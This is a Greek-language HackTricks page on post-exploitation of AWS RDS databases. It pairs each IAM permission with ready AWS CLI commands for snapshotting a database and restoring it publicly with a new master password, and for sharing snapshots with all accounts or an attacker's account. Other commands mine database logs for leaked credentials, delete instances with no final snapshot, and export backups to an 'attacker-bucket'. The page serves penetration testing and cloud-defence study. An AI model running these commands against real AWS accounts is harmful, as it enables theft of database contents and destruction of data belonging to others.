AWS - RDS Post Exploitation

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

RDS

Για περισσότερες πληροφορίες, ελέγξτε:

pageAWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Εάν ο επιτιθέμενος έχει αρκετές άδειες, μπορεί να καταστήσει μια ΒΔ προσβάσιμη δημόσια δημιουργώντας ένα στιγμιότυπο της ΒΔ και στη συνέχεια μια δημόσια προσβάσιμη ΒΔ από το στιγμιότυπο.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να δημιουργήσει ένα αντίγραφο ασφαλείας (snapshot) ενός DB και να το καθιστήσει δημόσια διαθέσιμο. Έπειτα, μπορεί απλά να δημιουργήσει στον δικό του λογαριασμό ένα DB από αυτό το αντίγραφο ασφαλείας.

Αν ο επιτιθέμενος δεν έχει την άδεια rds:CreateDBSnapshot, μπορεί παρόλα αυτά να καθιστήσει άλλα δημιουργημένα αντίγραφα ασφαλείας δημόσια διαθέσιμα.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Ένας επιτιθέμενος με την άδεια rds:DownloadDBLogFilePortion μπορεί να κατεβάσει μέρη από τα αρχεία καταγραφής ενός RDS instance. Εάν ευαίσθητα δεδομένα ή διαπιστευτήρια πρόσβασης καταγραφούν κατά λάθος, ο επιτιθέμενος μπορεί πιθανώς να χρησιμοποιήσει αυτές τις πληροφορίες για να αναβαθμίσει τα προνόμιά του ή να πραγματοποιήσει μη εξουσιοδοτημένες ενέργειες.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Πιθανές Επιπτώσεις: Πρόσβαση σε ευαίσθητες πληροφορίες ή μη εξουσιοδοτημένες ενέργειες χρησιμοποιώντας διαρροές διαπιστευτηρίων.

rds:DeleteDBInstance

Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να προκαλέσει DoS σε υπάρχοντες RDS instances.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Πιθανές επιπτώσεις: Διαγραφή υπαρχόντων περιπτώσεων RDS και πιθανή απώλεια δεδομένων.

rds:StartExportTask

ΕΡΓΑΣΙΕΣ: Δοκιμή

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να εξάγει ένα αντίγραφο ασφαλείας της περίπτωσης RDS σε ένα κάδο S3. Εάν ο επιτιθέμενος έχει έλεγχο επί του κάδου S3 προορισμού, μπορεί πιθανώς να έχει πρόσβαση σε ευαίσθητα δεδομένα μέσα στο εξαγόμενο αντίγραφο ασφαλείας.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Πιθανές επιπτώσεις: Πρόσβαση σε ευαίσθητα δεδομένα στο εξαγόμενο αντίγραφο ασφαλείας.

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated